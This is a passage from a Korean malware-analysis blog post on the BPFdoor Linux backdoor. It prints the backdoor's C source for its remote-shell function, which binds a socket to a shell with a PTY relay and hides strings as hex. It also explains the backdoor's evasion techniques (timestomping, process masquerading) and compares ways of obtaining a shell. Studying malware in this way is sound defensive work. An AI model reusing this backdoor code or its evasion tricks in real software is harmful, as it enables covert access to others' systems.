	0x4d, 0x59, 0x53, 0x51, 0x4c, 0x5f, 0x48, 0x49, 0x53, 0x54,
	0x46, 0x49, 0x4c, 0x45, 0x3d, 0x2f, 0x64, 0x65, 0x76, 0x2f, 
	0x6e, 0x75, 0x6c, 0x6c, 0x00}; 

	// PATH=/bin:/usr/kerberos/sbin:/usr/kerberos/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/X11R6/bin:./bin
    char ipath[] = {
	0x50, 0x41, 0x54, 0x48, 0x3d, 0x2f, 0x62, 0x69, 0x6e, 0x3a,
	0x2f, 0x75, 0x73, 0x72, 0x2f, 0x6b, 0x65, 0x72, 0x62, 0x65,
	0x72, 0x6f, 0x73, 0x2f, 0x73, 0x62, 0x69, 0x6e, 0x3a, 0x2f, 
	0x75, 0x73, 0x72, 0x2f, 0x6b, 0x65, 0x72, 0x62, 0x65, 0x72, 
	0x6f, 0x73, 0x2f, 0x62, 0x69, 0x6e, 0x3a, 0x2f, 0x73, 0x62, 
	0x69, 0x6e, 0x3a, 0x2f, 0x75, 0x73, 0x72, 0x2f, 0x62, 0x69, 
	0x6e, 0x3a, 0x2f, 0x75, 0x73, 0x72, 0x2f, 0x73, 0x62, 0x69, 
	0x6e, 0x3a, 0x2f, 0x75, 0x73, 0x72, 0x2f, 0x6c, 0x6f, 0x63, 
	0x61, 0x6c, 0x2f, 0x62, 0x69, 0x6e, 0x3a, 0x2f, 0x75, 0x73, 
	0x72, 0x2f, 0x6c, 0x6f, 0x63, 0x61, 0x6c, 0x2f, 0x73, 0x62,
	0x69, 0x6e, 0x3a, 0x2f, 0x75, 0x73, 0x72, 0x2f, 0x58, 0x31, 
	0x31, 0x52, 0x36, 0x2f, 0x62, 0x69, 0x6e, 0x3a, 0x2e, 0x2f,
	0x62, 0x69, 0x6e, 0x00}; 
    char term[] = "vt100";
 
    envp[0] = home;
    envp[1] = ps;
    envp[2] = histfile;
    envp[3] = mshist;
    envp[4] = ipath;
    envp[5] = term;
    envp[6] = NULL;
 
    if (rcmd != NULL)
        system(rcmd);
    if (dcmd != NULL)
        system(dcmd);
    write(sock, "3458", 4);
    if (!open_tty()) {
        if (!fork()) {
            dup2(sock, 0);
            dup2(sock, 1);
            dup2(sock, 2);
            execve(sh, argvv, envp);
        }
        close(sock);
        return 0;
    }
 
    subshell = fork();
    if (subshell == 0) {
        close(pty);
        ioctl(tty, TIOCSCTTY);
        close(sock);
        dup2(tty, 0);
        dup2(tty, 1);
        dup2(tty, 2);
        close(tty);
        execve(sh, argvv, envp);
    }
    close(tty);
 
    while (1) {
        FD_ZERO(&fds);
        FD_SET(pty, &fds);
        FD_SET(sock, &fds);
        if (select((pty > sock) ? (pty+1) : (sock+1),
            &fds, NULL, NULL, NULL) < 0)
        {
            break;
        }
        if (FD_ISSET(pty, &fds)) {
            int count;
            count = read(pty, buf, BUF);
            if (count <= 0) break;
            if (cwrite(sock, buf, count) <= 0) break;
        }
        if (FD_ISSET(sock, &fds)) {
            int count;
            unsigned char *p, *d;
            d = (unsigned char *)buf;
            count = cread(sock, buf, BUF);
            if (count <= 0) break;
 
            p = memchr(buf, ECHAR, count);
            if (p) {
                unsigned char wb[5];
                int rlen = count - ((long) p - (long) buf);
                struct winsize ws;
 
                if (rlen > 5) rlen = 5;
                memcpy(wb, p, rlen);
                if (rlen < 5) {
                    ret = cread(sock, &wb[rlen], 5 - rlen);
                }
 
                ws.ws_xpixel = ws.ws_ypixel = 0;
                ws.ws_col = (wb[1] << 8) + wb[2];
                ws.ws_row = (wb[3] << 8) + wb[4];
                ioctl(pty, TIOCSWINSZ, &ws);
                kill(0, SIGWINCH);
 
                ret = write(pty, buf, (long) p - (long) buf);
                rlen = ((long) buf + count) - ((long)p+5);
                if (rlen > 0) ret = write(pty, p+5, rlen);
            } else
                if (write(pty, d, count) <= 0) break;
        }
    }
    close(sock);
    close(pty);
    waitpid(subshell, NULL, 0);
    vhangup();
    exit(0);
}

이 함수에도 역시 문자열 탐지를 회피하기 위해 평문 문자열을 사용하지 않고 hex 데이터를 사용하고 있다.

shell 함수는 실행에 성공하면 write(sock, “3458”, 4); 함수를 실행, 클라이언트에게 3458 문자열을 전송한다.

이후 open_tty 함수를 실행해 터미널을 열고, 만약 터미널 오픈에 실패하면 dub2 함수를 통해 파일 디스크립터 0(표준 입력), 1(표준 출력), 2(표준 오류)를 리다이렉트 한다.

open_tty 함수에서는 ptym_open 함수를 호출하고 /dev/ptmx 파일에 접근한다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
int ptym_open(char *pts_name)
{
    char *ptr;
    int fd;
 
    strcpy(pts_name,"/dev/ptmx");
    if ((fd = open(pts_name,O_RDWR)) < 0) {
        return -1;
    }
 
    if (grantpt(fd) < 0) {
        close(fd);
        return -2;
    }
 
    if (unlockpt(fd) < 0) {
        close(fd);
        return -3;
    }
 
    if ((ptr = ptsname(fd)) == NULL) {
        close(fd);
        return -4;
    }
 
    strcpy(pts_name,ptr);
 
    return fd;
}
 
int ptys_open(int fd,char *pts_name)
{
    int fds;
 
    if ((fds = open(pts_name,O_RDWR)) < 0) {
        close(fd);
        return -5;
    }
 
 
    if (ioctl(fds,I_PUSH,"ptem") < 0) {
        return fds;
    }
 
    if (ioctl(fds,I_PUSH,"ldterm") < 0) {
    return fds;
    }
 
    if (ioctl(fds,I_PUSH,"ttcompat") < 0) {
        return fds;
    }
 
    return fds;
}
 
int open_tty()
{
    char pts_name[20];
 
    pty = ptym_open(pts_name);
 
    tty = ptys_open(pty,pts_name);
 
    if (pty >= 0 && tty >=0 )
        return 1;
    return 0;
}

3-4. BPFdoor의 탐지 회피 전략

앞서 살펴본 BPFdoor 코드에는 다양한 악성코드 회피 전략이 숨겨져 있다. 어떤 항목들이 있는지 다시 정리해보자.


T1070.006 - Indicator Removal: Timestomp

setup_time(argv[0]); 코드로 바이너리 파일의 access/modify 시각을 조작한다.


T1036.004 - Masquerading: Masquerade Task or Service set_proc_name(argc, argv, cfg.mask); 코드를 통해 프로세스 이름을 변경하고, 시스템 서비스인 것 처럼 위장한다.


T1027 - Obfuscated Files or Information 평문 문자열을 헥스 데이터로 치환해 문자열 탐지나 yara rule을 회피했다.

이 외에도 터미널 세션 분리, 좀비 프로세스 방지, 등 다양한 기법들이 적용되었는데, 적절한 Mitre ATT&CK 매칭을 찾지 못하겠다.


3-5. ptmx?

ptmx는 pseudo-terminal master multiplexor의 줄임말로 리눅스 시스템에서 psuedo terminal 을 생성할 때 사용된다.

어떤 프로세스가 ptmx를 open하면 해당 프로세스가 psueto terminal master 에 대한 파일 스크립터와 psuedo terminal slave를 취득하고 이것들이 /dev/pts 경로에 생성된다.

grantpt()와 unlockpt() 함수는 ptmx로 생성한 slave PTY를 사용할수 있도록 설정해주는 함수다.

tty를 핸들링 하는 코드도 보이는데, 아마 리눅스 말고 다른 유닉스 계열 운영체제에서도 동작하도록 만든 코드인 것으로 추정된다.


3-6. 그 외 쉘을 확보하는 방법들..

방식설명한계점
execve("/bin/sh", ...)기본 쉘 실행. 표준 입출력 설정 없이도 가능TTY 없이 실행되면 입출력 문제 발생, 비상호작용 셸만 가능
dup2(sock, 0..2) 후 쉘 실행리버스 쉘 구성에서 일반적으로 사용vim, top, ssh 등 TTY 의존 프로그램에서 문제 발생
setsid() + open("/dev/tty")제어 터미널을 새로 확보하여 실행 가능자식 프로세스에 한정, 터미널 세션 생성이 보장되지 않음
forkpty() 사용glibc/libutil 함수로 PTY 자동 생성 (내부적으로 ptmx 사용)외부 의존성 있음, ptmx 사용이 내부에서 일어남
socketpair(AF_UNIX, ...)유닉스 도메인 소켓으로 표준 입출력 대체 가능완전한 TTY 기능 부족, readline 등 TTY 의존 기능 미작동
수동 /dev/pts/N 접근직접 slave PTY를 열어 입출력 연결구현 복잡, grantpt, unlockpt, ptsname 호출 필수

Reference

https://4whomtbts.tistory.com/122